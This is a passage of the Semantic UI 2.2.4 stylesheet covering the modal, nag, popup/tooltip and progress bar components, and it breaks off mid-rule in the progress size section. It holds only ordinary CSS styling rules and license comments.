/* A modal that cannot fit on the page */

.scrolling.dimmable.dimmed {
  overflow: hidden;
}

.scrolling.dimmable.dimmed > .dimmer {
  overflow: auto;
  -webkit-overflow-scrolling: touch;
}

.scrolling.dimmable > .dimmer {
  position: fixed;
}

.modals.dimmer .ui.scrolling.modal {
  position: static !important;
  margin: 3.5rem auto !important;
}

/* undetached scrolling */

.scrolling.undetached.dimmable.dimmed {
  overflow: auto;
  -webkit-overflow-scrolling: touch;
}

.scrolling.undetached.dimmable.dimmed > .dimmer {
  overflow: hidden;
}

.scrolling.undetached.dimmable .ui.scrolling.modal {
  position: absolute;
  left: 50%;
  margin-top: 3.5rem !important;
}

/* Coupling with Sidebar */

.undetached.dimmable.dimmed > .pusher {
  z-index: auto;
}

@media only screen and (max-width: 991px) {
  .modals.dimmer .ui.scrolling.modal {
    margin-top: 1rem !important;
    margin-bottom: 1rem !important;
  }
}

/*--------------
   Full Screen
---------------*/

.ui.fullscreen.modal {
  width: 95% !important;
  left: 2.5% !important;
  margin: 1em auto;
}

.ui.fullscreen.scrolling.modal {
  left: 0em !important;
}

.ui.fullscreen.modal > .header {
  padding-right: 2.25rem;
}

.ui.fullscreen.modal > .close {
  top: 1.0535rem;
  right: 1rem;
  color: rgba(0, 0, 0, 0.87);
}

/*--------------
      Size
---------------*/

.ui.modal {
  font-size: 1rem;
}

/* Small */

.ui.small.modal > .header:not(.ui) {
  font-size: 1.3em;
}

/* Small Modal Width */

@media only screen and (max-width: 767px) {
  .ui.small.modal {
    width: 95%;
    margin: 0em 0em 0em -47.5%;
  }
}

@media only screen and (min-width: 768px) {
  .ui.small.modal {
    width: 70.4%;
    margin: 0em 0em 0em -35.2%;
  }
}

@media only screen and (min-width: 992px) {
  .ui.small.modal {
    width: 680px;
    margin: 0em 0em 0em -340px;
  }
}

@media only screen and (min-width: 1200px) {
  .ui.small.modal {
    width: 720px;
    margin: 0em 0em 0em -360px;
  }
}

@media only screen and (min-width: 1920px) {
  .ui.small.modal {
    width: 760px;
    margin: 0em 0em 0em -380px;
  }
}

/* Large Modal Width */

.ui.large.modal > .header {
  font-size: 1.6em;
}

@media only screen and (max-width: 767px) {
  .ui.large.modal {
    width: 95%;
    margin: 0em 0em 0em -47.5%;
  }
}

@media only screen and (min-width: 768px) {
  .ui.large.modal {
    width: 88%;
    margin: 0em 0em 0em -44%;
  }
}

@media only screen and (min-width: 992px) {
  .ui.large.modal {
    width: 1020px;
    margin: 0em 0em 0em -510px;
  }
}

@media only screen and (min-width: 1200px) {
  .ui.large.modal {
    width: 1080px;
    margin: 0em 0em 0em -540px;
  }
}

@media only screen and (min-width: 1920px) {
  .ui.large.modal {
    width: 1140px;
    margin: 0em 0em 0em -570px;
  }
}

/*******************************
         Theme Overrides
*******************************/

/*******************************
         Site Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Nag
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
             Nag
*******************************/

.ui.nag {
  display: none;
  opacity: 0.95;
  position: relative;
  top: 0em;
  left: 0px;
  z-index: 999;
  min-height: 0em;
  width: 100%;
  margin: 0em;
  padding: 0.75em 1em;
  background: #555555;
  box-shadow: 0px 1px 2px 0px rgba(0, 0, 0, 0.2);
  font-size: 1rem;
  text-align: center;
  color: rgba(0, 0, 0, 0.87);
  border-radius: 0em 0em 0.28571429rem 0.28571429rem;
  -webkit-transition: 0.2s background ease;
  transition: 0.2s background ease;
}

a.ui.nag {
  cursor: pointer;
}

.ui.nag > .title {
  display: inline-block;
  margin: 0em 0.5em;
  color: #FFFFFF;
}

.ui.nag > .close.icon {
  cursor: pointer;
  opacity: 0.4;
  position: absolute;
  top: 50%;
  right: 1em;
  font-size: 1em;
  margin: -0.5em 0em 0em;
  color: #FFFFFF;
  -webkit-transition: opacity 0.2s ease;
  transition: opacity 0.2s ease;
}

/*******************************
             States
*******************************/

/* Hover */

.ui.nag:hover {
  background: #555555;
  opacity: 1;
}

.ui.nag .close:hover {
  opacity: 1;
}

/*******************************
           Variations
*******************************/

/*--------------
     Static
---------------*/

.ui.overlay.nag {
  position: absolute;
  display: block;
}

/*--------------
     Fixed
---------------*/

.ui.fixed.nag {
  position: fixed;
}

/*--------------
     Bottom
---------------*/

.ui.bottom.nags,
.ui.bottom.nag {
  border-radius: 0.28571429rem 0.28571429rem 0em 0em;
  top: auto;
  bottom: 0em;
}

/*--------------
     White
---------------*/

.ui.inverted.nags .nag,
.ui.inverted.nag {
  background-color: #F3F4F5;
  color: rgba(0, 0, 0, 0.85);
}

.ui.inverted.nags .nag .close,
.ui.inverted.nags .nag .title,
.ui.inverted.nag .close,
.ui.inverted.nag .title {
  color: rgba(0, 0, 0, 0.4);
}

/*******************************
           Groups
*******************************/

.ui.nags .nag {
  border-radius: 0em !important;
}

.ui.nags .nag:last-child {
  border-radius: 0em 0em 0.28571429rem 0.28571429rem;
}

.ui.bottom.nags .nag:last-child {
  border-radius: 0.28571429rem 0.28571429rem 0em 0em;
}

/*******************************
         Theme Overrides
*******************************/

/*******************************
        User Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Popup
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
            Popup
*******************************/

.ui.popup {
  display: none;
  position: absolute;
  top: 0px;
  right: 0px;
  /* Fixes content being squished when inline (moz only) */
  min-width: -webkit-min-content;
  min-width: -moz-min-content;
  min-width: min-content;
  z-index: 1900;
  border: 1px solid #D4D4D5;
  line-height: 1.4285em;
  max-width: 250px;
  background: #FFFFFF;
  padding: 0.833em 1em;
  font-weight: normal;
  font-style: normal;
  color: rgba(0, 0, 0, 0.87);
  border-radius: 0.28571429rem;
  box-shadow: 0px 2px 4px 0px rgba(34, 36, 38, 0.12), 0px 2px 10px 0px rgba(34, 36, 38, 0.15);
}

.ui.popup > .header {
  padding: 0em;
  
  font-size: 1.14285714em;
  line-height: 1.2;
  font-weight: bold;
}

.ui.popup > .header + .content {
  padding-top: 0.5em;
}

.ui.popup:before {
  position: absolute;
  content: '';
  width: 0.71428571em;
  height: 0.71428571em;
  background: #FFFFFF;
  -webkit-transform: rotate(45deg);
  -ms-transform: rotate(45deg);
  transform: rotate(45deg);
  z-index: 2;
  box-shadow: 1px 1px 0px 0px #bababc;
}

/*******************************
            Types
*******************************/

/*--------------
    Tooltip
---------------*/

/* Content */

[data-tooltip] {
  position: relative;
}

/* Arrow */

[data-tooltip]:before {
  pointer-events: none;
  position: absolute;
  content: '';
  font-size: 1rem;
  width: 0.71428571em;
  height: 0.71428571em;
  background: #FFFFFF;
  -webkit-transform: rotate(45deg);
  -ms-transform: rotate(45deg);
  transform: rotate(45deg);
  z-index: 2;
  box-shadow: 1px 1px 0px 0px #bababc;
}

/* Popup */

[data-tooltip]:after {
  pointer-events: none;
  content: attr(data-tooltip);
  position: absolute;
  text-transform: none;
  text-align: left;
  white-space: nowrap;
  font-size: 1rem;
  border: 1px solid #D4D4D5;
  line-height: 1.4285em;
  max-width: none;
  background: #FFFFFF;
  padding: 0.833em 1em;
  font-weight: normal;
  font-style: normal;
  color: rgba(0, 0, 0, 0.87);
  border-radius: 0.28571429rem;
  box-shadow: 0px 2px 4px 0px rgba(34, 36, 38, 0.12), 0px 2px 10px 0px rgba(34, 36, 38, 0.15);
  z-index: 1;
}

/* Default Position (Top Center) */

[data-tooltip]:not([data-position]):before {
  top: auto;
  right: auto;
  bottom: 100%;
  left: 50%;
  background: #FFFFFF;
  margin-left: -0.07142857rem;
  margin-bottom: 0.14285714rem;
}

[data-tooltip]:not([data-position]):after {
  left: 50%;
  -webkit-transform: translateX(-50%);
  -ms-transform: translateX(-50%);
  transform: translateX(-50%);
  bottom: 100%;
  margin-bottom: 0.5em;
}

/* Animation */

[data-tooltip]:before,
[data-tooltip]:after {
  pointer-events: none;
  visibility: hidden;
}

[data-tooltip]:before {
  opacity: 0;
  -webkit-transform: rotate(45deg) scale(0) !important;
  -ms-transform: rotate(45deg) scale(0) !important;
  transform: rotate(45deg) scale(0) !important;
  -webkit-transform-origin: center top;
  -ms-transform-origin: center top;
  transform-origin: center top;
  -webkit-transition: all 0.1s ease;
  transition: all 0.1s ease;
}

[data-tooltip]:after {
  opacity: 1;
  -webkit-transform-origin: center bottom;
  -ms-transform-origin: center bottom;
  transform-origin: center bottom;
  -webkit-transition: all 0.1s ease;
  transition: all 0.1s ease;
}

[data-tooltip]:hover:before,
[data-tooltip]:hover:after {
  visibility: visible;
  pointer-events: auto;
}

[data-tooltip]:hover:before {
  -webkit-transform: rotate(45deg) scale(1) !important;
  -ms-transform: rotate(45deg) scale(1) !important;
  transform: rotate(45deg) scale(1) !important;
  opacity: 1;
}

/* Animation Position */

[data-tooltip]:after,
[data-tooltip][data-position="top center"]:after,
[data-tooltip][data-position="bottom center"]:after {
  -webkit-transform: translateX(-50%) scale(0) !important;
  -ms-transform: translateX(-50%) scale(0) !important;
  transform: translateX(-50%) scale(0) !important;
}

[data-tooltip]:hover:after,
[data-tooltip][data-position="bottom center"]:hover:after {
  -webkit-transform: translateX(-50%) scale(1) !important;
  -ms-transform: translateX(-50%) scale(1) !important;
  transform: translateX(-50%) scale(1) !important;
}

[data-tooltip][data-position="left center"]:after,
[data-tooltip][data-position="right center"]:after {
  -webkit-transform: translateY(-50%) scale(0) !important;
  -ms-transform: translateY(-50%) scale(0) !important;
  transform: translateY(-50%) scale(0) !important;
}

[data-tooltip][data-position="left center"]:hover:after,
[data-tooltip][data-position="right center"]:hover:after {
  -webkit-transform: translateY(-50%) scale(1) !important;
  -ms-transform: translateY(-50%) scale(1) !important;
  transform: translateY(-50%) scale(1) !important;
}

[data-tooltip][data-position="top left"]:after,
[data-tooltip][data-position="top right"]:after,
[data-tooltip][data-position="bottom left"]:after,
[data-tooltip][data-position="bottom right"]:after {
  -webkit-transform: scale(0) !important;
  -ms-transform: scale(0) !important;
  transform: scale(0) !important;
}

[data-tooltip][data-position="top left"]:hover:after,
[data-tooltip][data-position="top right"]:hover:after,
[data-tooltip][data-position="bottom left"]:hover:after,
[data-tooltip][data-position="bottom right"]:hover:after {
  -webkit-transform: scale(1) !important;
  -ms-transform: scale(1) !important;
  transform: scale(1) !important;
}

/*--------------
    Inverted
---------------*/

/* Arrow */

[data-tooltip][data-inverted]:before {
  box-shadow: none !important;
}

/* Arrow Position */

[data-tooltip][data-inverted]:before {
  background: #1B1C1D;
}

/* Popup  */

[data-tooltip][data-inverted]:after {
  background: #1B1C1D;
  color: #FFFFFF;
  border: none;
  box-shadow: none;
}

[data-tooltip][data-inverted]:after .header {
  background-color: none;
  color: #FFFFFF;
}

/*--------------
    Position
---------------*/

/* Top Center */

[data-position="top center"][data-tooltip]:after {
  top: auto;
  right: auto;
  left: 50%;
  bottom: 100%;
  -webkit-transform: translateX(-50%);
  -ms-transform: translateX(-50%);
  transform: translateX(-50%);
  margin-bottom: 0.5em;
}

[data-position="top center"][data-tooltip]:before {
  top: auto;
  right: auto;
  bottom: 100%;
  left: 50%;
  background: #FFFFFF;
  margin-left: -0.07142857rem;
  margin-bottom: 0.14285714rem;
}

/* Top Left */

[data-position="top left"][data-tooltip]:after {
  top: auto;
  right: auto;
  left: 0;
  bottom: 100%;
  margin-bottom: 0.5em;
}

[data-position="top left"][data-tooltip]:before {
  top: auto;
  right: auto;
  bottom: 100%;
  left: 1em;
  margin-left: -0.07142857rem;
  margin-bottom: 0.14285714rem;
}

/* Top Right */

[data-position="top right"][data-tooltip]:after {
  top: auto;
  left: auto;
  right: 0;
  bottom: 100%;
  margin-bottom: 0.5em;
}

[data-position="top right"][data-tooltip]:before {
  top: auto;
  left: auto;
  bottom: 100%;
  right: 1em;
  margin-left: -0.07142857rem;
  margin-bottom: 0.14285714rem;
}

/* Bottom Center */

[data-position="bottom center"][data-tooltip]:after {
  bottom: auto;
  right: auto;
  left: 50%;
  top: 100%;
  -webkit-transform: translateX(-50%);
  -ms-transform: translateX(-50%);
  transform: translateX(-50%);
  margin-top: 0.5em;
}

[data-position="bottom center"][data-tooltip]:before {
  bottom: auto;
  right: auto;
  top: 100%;
  left: 50%;
  margin-left: -0.07142857rem;
  margin-top: 0.14285714rem;
}

/* Bottom Left */

[data-position="bottom left"][data-tooltip]:after {
  left: 0;
  top: 100%;
  margin-top: 0.5em;
}

[data-position="bottom left"][data-tooltip]:before {
  bottom: auto;
  right: auto;
  top: 100%;
  left: 1em;
  margin-left: -0.07142857rem;
  margin-top: 0.14285714rem;
}

/* Bottom Right */

[data-position="bottom right"][data-tooltip]:after {
  right: 0;
  top: 100%;
  margin-top: 0.5em;
}

[data-position="bottom right"][data-tooltip]:before {
  bottom: auto;
  left: auto;
  top: 100%;
  right: 1em;
  margin-left: -0.14285714rem;
  margin-top: 0.07142857rem;
}

/* Left Center */

[data-position="left center"][data-tooltip]:after {
  right: 100%;
  top: 50%;
  margin-right: 0.5em;
  -webkit-transform: translateY(-50%);
  -ms-transform: translateY(-50%);
  transform: translateY(-50%);
}

[data-position="left center"][data-tooltip]:before {
  right: 100%;
  top: 50%;
  margin-top: -0.14285714rem;
  margin-right: -0.07142857rem;
}

/* Right Center */

[data-position="right center"][data-tooltip]:after {
  left: 100%;
  top: 50%;
  margin-left: 0.5em;
  -webkit-transform: translateY(-50%);
  -ms-transform: translateY(-50%);
  transform: translateY(-50%);
}

[data-position="right center"][data-tooltip]:before {
  left: 100%;
  top: 50%;
  margin-top: -0.07142857rem;
  margin-left: 0.14285714rem;
}

/* Arrow */

[data-position~="bottom"][data-tooltip]:before {
  background: #FFFFFF;
  box-shadow: -1px -1px 0px 0px #bababc;
}

[data-position="left center"][data-tooltip]:before {
  background: #FFFFFF;
  box-shadow: 1px -1px 0px 0px #bababc;
}

[data-position="right center"][data-tooltip]:before {
  background: #FFFFFF;
  box-shadow: -1px 1px 0px 0px #bababc;
}

[data-position~="top"][data-tooltip]:before {
  background: #FFFFFF;
}

/* Inverted Arrow Color */

[data-inverted][data-position~="bottom"][data-tooltip]:before {
  background: #1B1C1D;
  box-shadow: -1px -1px 0px 0px #bababc;
}

[data-inverted][data-position="left center"][data-tooltip]:before {
  background: #1B1C1D;
  box-shadow: 1px -1px 0px 0px #bababc;
}

[data-inverted][data-position="right center"][data-tooltip]:before {
  background: #1B1C1D;
  box-shadow: -1px 1px 0px 0px #bababc;
}

[data-inverted][data-position~="top"][data-tooltip]:before {
  background: #1B1C1D;
}

[data-position~="bottom"][data-tooltip]:before {
  -webkit-transform-origin: center bottom;
  -ms-transform-origin: center bottom;
  transform-origin: center bottom;
}

[data-position~="bottom"][data-tooltip]:after {
  -webkit-transform-origin: center top;
  -ms-transform-origin: center top;
  transform-origin: center top;
}

[data-position="left center"][data-tooltip]:before {
  -webkit-transform-origin: top center;
  -ms-transform-origin: top center;
  transform-origin: top center;
}

[data-position="left center"][data-tooltip]:after {
  -webkit-transform-origin: right center;
  -ms-transform-origin: right center;
  transform-origin: right center;
}

[data-position="right center"][data-tooltip]:before {
  -webkit-transform-origin: right center;
  -ms-transform-origin: right center;
  transform-origin: right center;
}

[data-position="right center"][data-tooltip]:after {
  -webkit-transform-origin: left center;
  -ms-transform-origin: left center;
  transform-origin: left center;
}

/*--------------
     Spacing
---------------*/

.ui.popup {
  margin: 0em;
}

/* Extending from Top */

.ui.top.popup {
  margin: 0em 0em 0.71428571em;
}

.ui.top.left.popup {
  -webkit-transform-origin: left bottom;
  -ms-transform-origin: left bottom;
  transform-origin: left bottom;
}

.ui.top.center.popup {
  -webkit-transform-origin: center bottom;
  -ms-transform-origin: center bottom;
  transform-origin: center bottom;
}

.ui.top.right.popup {
  -webkit-transform-origin: right bottom;
  -ms-transform-origin: right bottom;
  transform-origin: right bottom;
}

/* Extending from Vertical Center */

.ui.left.center.popup {
  margin: 0em 0.71428571em 0em 0em;
  -webkit-transform-origin: right 50%;
  -ms-transform-origin: right 50%;
  transform-origin: right 50%;
}

.ui.right.center.popup {
  margin: 0em 0em 0em 0.71428571em;
  -webkit-transform-origin: left 50%;
  -ms-transform-origin: left 50%;
  transform-origin: left 50%;
}

/* Extending from Bottom */

.ui.bottom.popup {
  margin: 0.71428571em 0em 0em;
}

.ui.bottom.left.popup {
  -webkit-transform-origin: left top;
  -ms-transform-origin: left top;
  transform-origin: left top;
}

.ui.bottom.center.popup {
  -webkit-transform-origin: center top;
  -ms-transform-origin: center top;
  transform-origin: center top;
}

.ui.bottom.right.popup {
  -webkit-transform-origin: right top;
  -ms-transform-origin: right top;
  transform-origin: right top;
}

/*--------------
     Pointer
---------------*/

/*--- Below ---*/

.ui.bottom.center.popup:before {
  margin-left: -0.30714286em;
  top: -0.30714286em;
  left: 50%;
  right: auto;
  bottom: auto;
  box-shadow: -1px -1px 0px 0px #bababc;
}

.ui.bottom.left.popup {
  margin-left: 0em;
}

/*rtl:rename*/

.ui.bottom.left.popup:before {
  top: -0.30714286em;
  left: 1em;
  right: auto;
  bottom: auto;
  margin-left: 0em;
  box-shadow: -1px -1px 0px 0px #bababc;
}

.ui.bottom.right.popup {
  margin-right: 0em;
}

/*rtl:rename*/

.ui.bottom.right.popup:before {
  top: -0.30714286em;
  right: 1em;
  bottom: auto;
  left: auto;
  margin-left: 0em;
  box-shadow: -1px -1px 0px 0px #bababc;
}

/*--- Above ---*/

.ui.top.center.popup:before {
  top: auto;
  right: auto;
  bottom: -0.30714286em;
  left: 50%;
  margin-left: -0.30714286em;
}

.ui.top.left.popup {
  margin-left: 0em;
}

/*rtl:rename*/

.ui.top.left.popup:before {
  bottom: -0.30714286em;
  left: 1em;
  top: auto;
  right: auto;
  margin-left: 0em;
}

.ui.top.right.popup {
  margin-right: 0em;
}

/*rtl:rename*/

.ui.top.right.popup:before {
  bottom: -0.30714286em;
  right: 1em;
  top: auto;
  left: auto;
  margin-left: 0em;
}

/*--- Left Center ---*/

/*rtl:rename*/

.ui.left.center.popup:before {
  top: 50%;
  right: -0.30714286em;
  bottom: auto;
  left: auto;
  margin-top: -0.30714286em;
  box-shadow: 1px -1px 0px 0px #bababc;
}

/*--- Right Center  ---*/

/*rtl:rename*/

.ui.right.center.popup:before {
  top: 50%;
  left: -0.30714286em;
  bottom: auto;
  right: auto;
  margin-top: -0.30714286em;
  box-shadow: -1px 1px 0px 0px #bababc;
}

/* Arrow Color By Location */

.ui.bottom.popup:before {
  background: #FFFFFF;
}

.ui.right.center.popup:before,
.ui.left.center.popup:before {
  background: #FFFFFF;
}

.ui.top.popup:before {
  background: #FFFFFF;
}

/* Inverted Arrow Color */

.ui.inverted.bottom.popup:before {
  background: #1B1C1D;
}

.ui.inverted.right.center.popup:before,
.ui.inverted.left.center.popup:before {
  background: #1B1C1D;
}

.ui.inverted.top.popup:before {
  background: #1B1C1D;
}

/*******************************
            Coupling
*******************************/

/* Immediate Nested Grid */

.ui.popup > .ui.grid:not(.padded) {
  width: calc(100% + 1.75rem);
  margin: -0.7rem -0.875rem;
}

/*******************************
            States
*******************************/

.ui.loading.popup {
  display: block;
  visibility: hidden;
  z-index: -1;
}

.ui.animating.popup,
.ui.visible.popup {
  display: block;
}

.ui.visible.popup {
  -webkit-transform: translateZ(0px);
  transform: translateZ(0px);
  -webkit-backface-visibility: hidden;
  backface-visibility: hidden;
}

/*******************************
            Variations
*******************************/

/*--------------
     Basic
---------------*/

.ui.basic.popup:before {
  display: none;
}

/*--------------
     Wide
---------------*/

.ui.wide.popup {
  max-width: 350px;
}

.ui[class*="very wide"].popup {
  max-width: 550px;
}

@media only screen and (max-width: 767px) {
  .ui.wide.popup,
  .ui[class*="very wide"].popup {
    max-width: 250px;
  }
}

/*--------------
     Fluid
---------------*/

.ui.fluid.popup {
  width: 100%;
  max-width: none;
}

/*--------------
     Colors
---------------*/

/* Inverted colors  */

.ui.inverted.popup {
  background: #1B1C1D;
  color: #FFFFFF;
  border: none;
  box-shadow: none;
}

.ui.inverted.popup .header {
  background-color: none;
  color: #FFFFFF;
}

.ui.inverted.popup:before {
  background-color: #1B1C1D;
  box-shadow: none !important;
}

/*--------------
     Flowing
---------------*/

.ui.flowing.popup {
  max-width: none;
}

/*--------------
     Sizes
---------------*/

.ui.mini.popup {
  font-size: 0.78571429rem;
}

.ui.tiny.popup {
  font-size: 0.85714286rem;
}

.ui.small.popup {
  font-size: 0.92857143rem;
}

.ui.popup {
  font-size: 1rem;
}

.ui.large.popup {
  font-size: 1.14285714rem;
}

.ui.huge.popup {
  font-size: 1.42857143rem;
}

/*******************************
         Theme Overrides
*******************************/

/*******************************
        User Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Progress Bar
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
            Progress
*******************************/

.ui.progress {
  position: relative;
  display: block;
  max-width: 100%;
  border: none;
  margin: 1em 0em 2.5em;
  box-shadow: none;
  background: rgba(0, 0, 0, 0.1);
  padding: 0em;
  border-radius: 0.28571429rem;
}

.ui.progress:first-child {
  margin: 0em 0em 2.5em;
}

.ui.progress:last-child {
  margin: 0em 0em 1.5em;
}

/*******************************
            Content
*******************************/

/* Activity Bar */

.ui.progress .bar {
  display: block;
  line-height: 1;
  position: relative;
  width: 0%;
  min-width: 2em;
  background: #888888;
  border-radius: 0.28571429rem;
  -webkit-transition: width 0.1s ease, background-color 0.1s ease;
  transition: width 0.1s ease, background-color 0.1s ease;
}

/* Percent Complete */

.ui.progress .bar > .progress {
  white-space: nowrap;
  position: absolute;
  width: auto;
  font-size: 0.92857143em;
  top: 50%;
  right: 0.5em;
  left: auto;
  bottom: auto;
  color: rgba(255, 255, 255, 0.7);
  text-shadow: none;
  margin-top: -0.5em;
  font-weight: bold;
  text-align: left;
}

/* Label */

.ui.progress > .label {
  position: absolute;
  width: 100%;
  font-size: 1em;
  top: 100%;
  right: auto;
  left: 0%;
  bottom: auto;
  color: rgba(0, 0, 0, 0.87);
  font-weight: bold;
  text-shadow: none;
  margin-top: 0.2em;
  text-align: center;
  -webkit-transition: color 0.4s ease;
  transition: color 0.4s ease;
}

/*******************************
            Types
*******************************/

/* Indicating */

.ui.indicating.progress[data-percent^="1"] .bar,
.ui.indicating.progress[data-percent^="2"] .bar {
  background-color: #D95C5C;
}

.ui.indicating.progress[data-percent^="3"] .bar {
  background-color: #EFBC72;
}

.ui.indicating.progress[data-percent^="4"] .bar,
.ui.indicating.progress[data-percent^="5"] .bar {
  background-color: #E6BB48;
}

.ui.indicating.progress[data-percent^="6"] .bar {
  background-color: #DDC928;
}

.ui.indicating.progress[data-percent^="7"] .bar,
.ui.indicating.progress[data-percent^="8"] .bar {
  background-color: #B4D95C;
}

.ui.indicating.progress[data-percent^="9"] .bar,
.ui.indicating.progress[data-percent^="100"] .bar {
  background-color: #66DA81;
}

/* Indicating Label */

.ui.indicating.progress[data-percent^="1"] .label,
.ui.indicating.progress[data-percent^="2"] .label {
  color: rgba(0, 0, 0, 0.87);
}

.ui.indicating.progress[data-percent^="3"] .label {
  color: rgba(0, 0, 0, 0.87);
}

.ui.indicating.progress[data-percent^="4"] .label,
.ui.indicating.progress[data-percent^="5"] .label {
  color: rgba(0, 0, 0, 0.87);
}

.ui.indicating.progress[data-percent^="6"] .label {
  color: rgba(0, 0, 0, 0.87);
}

.ui.indicating.progress[data-percent^="7"] .label,
.ui.indicating.progress[data-percent^="8"] .label {
  color: rgba(0, 0, 0, 0.87);
}

.ui.indicating.progress[data-percent^="9"] .label,
.ui.indicating.progress[data-percent^="100"] .label {
  color: rgba(0, 0, 0, 0.87);
}

/* Single Digits */

.ui.indicating.progress[data-percent="1"] .bar,
.ui.indicating.progress[data-percent="2"] .bar,
.ui.indicating.progress[data-percent="3"] .bar,
.ui.indicating.progress[data-percent="4"] .bar,
.ui.indicating.progress[data-percent="5"] .bar,
.ui.indicating.progress[data-percent="6"] .bar,
.ui.indicating.progress[data-percent="7"] .bar,
.ui.indicating.progress[data-percent="8"] .bar,
.ui.indicating.progress[data-percent="9"] .bar {
  background-color: #D95C5C;
}

.ui.indicating.progress[data-percent="1"] .label,
.ui.indicating.progress[data-percent="2"] .label,
.ui.indicating.progress[data-percent="3"] .label,
.ui.indicating.progress[data-percent="4"] .label,
.ui.indicating.progress[data-percent="5"] .label,
.ui.indicating.progress[data-percent="6"] .label,
.ui.indicating.progress[data-percent="7"] .label,
.ui.indicating.progress[data-percent="8"] .label,
.ui.indicating.progress[data-percent="9"] .label {
  color: rgba(0, 0, 0, 0.87);
}

/* Indicating Success */

.ui.indicating.progress.success .label {
  color: #1A531B;
}

/*******************************
             States
*******************************/

/*--------------
     Success
---------------*/

.ui.progress.success .bar {
  background-color: #21BA45 !important;
}

.ui.progress.success .bar,
.ui.progress.success .bar::after {
  -webkit-animation: none !important;
  animation: none !important;
}

.ui.progress.success > .label {
  color: #1A531B;
}

/*--------------
     Warning
---------------*/

.ui.progress.warning .bar {
  background-color: #F2C037 !important;
}

.ui.progress.warning .bar,
.ui.progress.warning .bar::after {
  -webkit-animation: none !important;
  animation: none !important;
}

.ui.progress.warning > .label {
  color: #794B02;
}

/*--------------
     Error
---------------*/

.ui.progress.error .bar {
  background-color: #DB2828 !important;
}

.ui.progress.error .bar,
.ui.progress.error .bar::after {
  -webkit-animation: none !important;
  animation: none !important;
}

.ui.progress.error > .label {
  color: #912D2B;
}

/*--------------
     Active
---------------*/

.ui.active.progress .bar {
  position: relative;
  min-width: 2em;
}

.ui.active.progress .bar::after {
  content: '';
  opacity: 0;
  position: absolute;
  top: 0px;
  left: 0px;
  right: 0px;
  bottom: 0px;
  background: #FFFFFF;
  border-radius: 0.28571429rem;
  -webkit-animation: progress-active 2s ease infinite;
  animation: progress-active 2s ease infinite;
}

@-webkit-keyframes progress-active {
  0% {
    opacity: 0.3;
    width: 0;
  }

  100% {
    opacity: 0;
    width: 100%;
  }
}

@keyframes progress-active {
  0% {
    opacity: 0.3;
    width: 0;
  }

  100% {
    opacity: 0;
    width: 100%;
  }
}

/*--------------
    Disabled
---------------*/

.ui.disabled.progress {
  opacity: 0.35;
}

.ui.disabled.progress .bar,
.ui.disabled.progress .bar::after {
  -webkit-animation: none !important;
  animation: none !important;
}

/*******************************
           Variations
*******************************/

/*--------------
    Inverted
---------------*/

.ui.inverted.progress {
  background: rgba(255, 255, 255, 0.08);
  border: none;
}

.ui.inverted.progress .bar {
  background: #888888;
}

.ui.inverted.progress .bar > .progress {
  color: #F9FAFB;
}

.ui.inverted.progress > .label {
  color: #FFFFFF;
}

.ui.inverted.progress.success > .label {
  color: #21BA45;
}

.ui.inverted.progress.warning > .label {
  color: #F2C037;
}

.ui.inverted.progress.error > .label {
  color: #DB2828;
}

/*--------------
    Attached
---------------*/

/* bottom attached */

.ui.progress.attached {
  background: transparent;
  position: relative;
  border: none;
  margin: 0em;
}

.ui.progress.attached,
.ui.progress.attached .bar {
  display: block;
  height: 0.2rem;
  padding: 0px;
  overflow: hidden;
  border-radius: 0em 0em 0.28571429rem 0.28571429rem;
}

.ui.progress.attached .bar {
  border-radius: 0em;
}

/* top attached */

.ui.progress.top.attached,
.ui.progress.top.attached .bar {
  top: 0px;
  border-radius: 0.28571429rem 0.28571429rem 0em 0em;
}

.ui.progress.top.attached .bar {
  border-radius: 0em;
}

/* Coupling */

.ui.segment > .ui.attached.progress,
.ui.card > .ui.attached.progress {
  position: absolute;
  top: auto;
  left: 0;
  bottom: 100%;
  width: 100%;
}

.ui.segment > .ui.bottom.attached.progress,
.ui.card > .ui.bottom.attached.progress {
  top: 100%;
  bottom: auto;
}

/*--------------
     Colors
---------------*/

/* Red */

.ui.red.progress .bar {
  background-color: #DB2828;
}

.ui.red.inverted.progress .bar {
  background-color: #FF695E;
}

/* Orange */

.ui.orange.progress .bar {
  background-color: #F2711C;
}

.ui.orange.inverted.progress .bar {
  background-color: #FF851B;
}

/* Yellow */

.ui.yellow.progress .bar {
  background-color: #FBBD08;
}

.ui.yellow.inverted.progress .bar {
  background-color: #FFE21F;
}

/* Olive */

.ui.olive.progress .bar {
  background-color: #B5CC18;
}

.ui.olive.inverted.progress .bar {
  background-color: #D9E778;
}

/* Green */

.ui.green.progress .bar {
  background-color: #21BA45;
}

.ui.green.inverted.progress .bar {
  background-color: #2ECC40;
}

/* Teal */

.ui.teal.progress .bar {
  background-color: #00B5AD;
}

.ui.teal.inverted.progress .bar {
  background-color: #6DFFFF;
}

/* Blue */

.ui.blue.progress .bar {
  background-color: #2185D0;
}

.ui.blue.inverted.progress .bar {
  background-color: #54C8FF;
}

/* Violet */

.ui.violet.progress .bar {
  background-color: #6435C9;
}

.ui.violet.inverted.progress .bar {
  background-color: #A291FB;
}

/* Purple */

.ui.purple.progress .bar {
  background-color: #A333C8;
}

.ui.purple.inverted.progress .bar {
  background-color: #DC73FF;
}

/* Pink */

.ui.pink.progress .bar {
  background-color: #E03997;
}

.ui.pink.inverted.progress .bar {
  background-color: #FF8EDF;
}

/* Brown */

.ui.brown.progress .bar {
  background-color: #A5673F;
}

.ui.brown.inverted.progress .bar {
  background-color: #D67C1C;
}

/* Grey */

.ui.grey.progress .bar {
  background-color: #767676;
}

.ui.grey.inverted.progress .bar {
  background-color: #DCDDDE;
}

/* Black */

.ui.black.progress .bar {
  background-color: #1B1C1D;
}

.ui.black.inverted.progress .bar {
  background-color: #545454;
}

/*--------------
     Sizes
---------------*/

.ui.tiny.progress {
  font-size: 0.85714286rem;
}

.ui.tiny.progress .bar {
  height: 0.5em;
}

.ui.small.progress {
  font-size: 0.92857143rem;
}

.ui.small.progress .bar {
  height: 1em;
}

.ui.progress {
  font-size: 1rem;
}

.ui.progress .bar {
